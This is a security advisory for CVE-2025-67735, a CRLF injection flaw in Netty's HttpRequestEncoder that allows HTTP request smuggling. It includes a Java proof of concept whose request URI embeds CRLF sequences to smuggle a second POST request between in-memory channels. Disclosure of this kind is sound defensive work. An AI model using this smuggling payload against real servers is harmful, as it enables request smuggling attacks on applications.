CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

java public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } }

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.